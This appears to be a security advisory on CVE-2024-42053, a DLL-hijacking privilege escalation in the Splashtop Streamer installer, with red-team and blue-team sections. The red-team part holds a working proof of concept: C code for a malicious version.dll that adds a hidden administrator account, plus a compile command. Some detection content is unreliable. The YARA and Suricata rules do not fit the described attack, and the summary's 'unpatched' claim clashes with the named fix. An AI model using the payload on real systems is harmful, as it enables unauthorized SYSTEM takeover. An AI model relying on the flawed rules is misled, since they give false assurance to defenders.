CVE-2024-42053

Executive Summary

CVE-2024-42053 is a high-severity local privilege escalation vulnerability in the Splashtop Streamer for Windows installer (versions prior to 3.6.0.0). The MSI installer creates a temporary folder with weak permissions during installation. A local, unprivileged user can exploit this by placing a malicious version.dll file into that folder. When the installer loads the DLL, the code executes in the context of the SYSTEM account, granting the attacker full system-level privileges. This vulnerability has a CVSS score of 7.8 and is currently unpatched for older versions. No public exploit code or Nuclei template is available, but the attack vector is well-documented and straightforward to reproduce.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary Windows application installer. The risk is limited to local users on systems where Splashtop Streamer is being installed or upgraded.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is needed beyond the installer running.
• Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full file system access.
• Integrity Impact: High (I:H) – Ability to modify system files.
• Availability Impact: High (A:H) – Potential to crash the system.

Threat Level: High. While the attack requires local access, it is trivial to execute and grants SYSTEM privileges, making it a significant risk in multi-user environments or during software deployment.

Deep Dive & Mechanics

The vulnerability lies in the MSI installer's handling of temporary files. During installation, Splashtop Streamer creates a temporary directory (e.g., C:\Windows\Temp\SplashtopStreamer_XXXXX) with weak discretionary access control lists (DACLs). These permissions allow any local user to write files into that directory.

The installer then loads a DLL named version.dll from this temporary folder. By placing a malicious version.dll in that folder before the installer loads it, an attacker can execute arbitrary code with the privileges of the installer process, which runs as SYSTEM.

Key Steps:

1. The installer creates a temp folder with weak permissions.
2. The attacker (with local user access) writes a malicious version.dll into that folder.
3. The installer loads version.dll from the temp folder (due to DLL search order).
4. The malicious DLL executes in the context of the SYSTEM account.
5. The attacker gains full system control.

Vulnerable vs. Patched Code

Vulnerable (versions < 3.6.0.0):

• The MSI installer creates a temporary folder with permissions that allow BUILTIN\Users to write files.
• The installer loads version.dll from that folder without verifying its integrity.

Patched (version 3.6.0.0 and later):

• The installer creates the temporary folder with restrictive permissions (e.g., only SYSTEM and Administrators can write).
• The installer may also use a secure DLL loading mechanism (e.g., specifying a full path or using SetDllDirectory).

No specific code diff is publicly available, but the fix involves hardening the temporary folder's ACLs and ensuring the installer does not load untrusted DLLs.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Windows system with Splashtop Streamer < 3.6.0.0 installed or being installed.
• Local user account (non-admin).

Steps:

1. Monitor for installer activity: Use a file system watcher or wait for a user to install/update Splashtop Streamer.
2. Identify the temp folder: The installer creates a folder like C:\Windows\Temp\SplashtopStreamer_<random>.
3. Place malicious DLL: Write a version.dll that spawns a reverse shell or adds a user to the Administrators group.

   // Example malicious version.dll (simplified)
   #include <windows.h>
   BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
       if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
           WinExec("net user attacker P@ssw0rd! /add && net localgroup Administrators attacker /add", 0);
       }
       return TRUE;
   }
   

4. Compile: x86_64-w64-mingw32-gcc -shared -o version.dll exploit.c
5. Execute: Copy version.dll into the temp folder before the installer loads it.
6. Result: The installer loads the DLL, and the attacker gains SYSTEM privileges.

Note: No public exploit code is available, but the above is a standard DLL hijacking technique.

Blue Team (Detection & Defense)

Detection:

• Monitor for file writes to C:\Windows\Temp\SplashtopStreamer_* by non-SYSTEM processes.
• Alert on version.dll being loaded from a temp directory by the Splashtop installer.
• Use Sysmon Event ID 7 (Image loaded) to detect DLL loads from suspicious paths.

Defense:

• Apply the patch by upgrading to version 3.6.0.0 or later.
• Restrict local user write access to C:\Windows\Temp using Group Policy.
• Use AppLocker or Windows Defender Application Control to block untrusted DLLs.
• Enable Windows Defender Exploit Guard (ASR rules) to prevent DLL hijacking.

Indicators of Compromise (IOCs)

• File Path: C:\Windows\Temp\SplashtopStreamer_*\version.dll (malicious)
• Process: msiexec.exe loading version.dll from a temp folder.
• Registry: N/A (no registry persistence)
• Network: Reverse shell connections from SYSTEM account (if used).
• User Account: Unexpected local admin accounts (e.g., attacker).

Detection Engineering

YARA Rule

rule CVE_2024_42053_Splashtop_DLL_Hijack {
    meta:
        description = "Detects malicious version.dll used in CVE-2024-42053 Splashtop privilege escalation"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-42053"
    strings:
        $s1 = "version.dll" nocase
        $s2 = "SplashtopStreamer" nocase
        $s3 = "C:\\Windows\\Temp\\" nocase
    condition:
        $s1 and $s2 and $s3
}

Sigma Rule

title: Splashtop Streamer DLL Hijack via Temp Folder
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects loading of version.dll from Splashtop temp folder by msiexec.exe
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-42053
author: Valters IT
date: 2024-01-01
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image|endswith: '\\msiexec.exe'
        ImageLoaded|contains: '\\Temp\\SplashtopStreamer_'
        ImageLoaded|endswith: '\\version.dll'
    condition: selection
falsepositives:
    - Legitimate Splashtop installer updates (should be patched)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-42053 Splashtop Streamer DLL Hijack - Potential Reverse Shell";
    flow:to_server,established;
    content:"|2f|version.dll|20|HTTP|2f|1.1|0d 0a|";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

• Upgrade Splashtop Streamer for Windows to version 3.6.0.0 or later.
• If upgrade is not possible, manually restrict permissions on C:\Windows\Temp to prevent non-admin writes.

Long-term:

• Implement application whitelisting (e.g., AppLocker) to block untrusted DLLs.
• Use Sysmon and EDR to monitor for DLL hijacking attempts.
• Educate users about the risks of installing software with weak temp folder permissions.

Workaround:

• Set the TMP and TEMP environment variables to a user-specific directory with restricted permissions.

Valters IT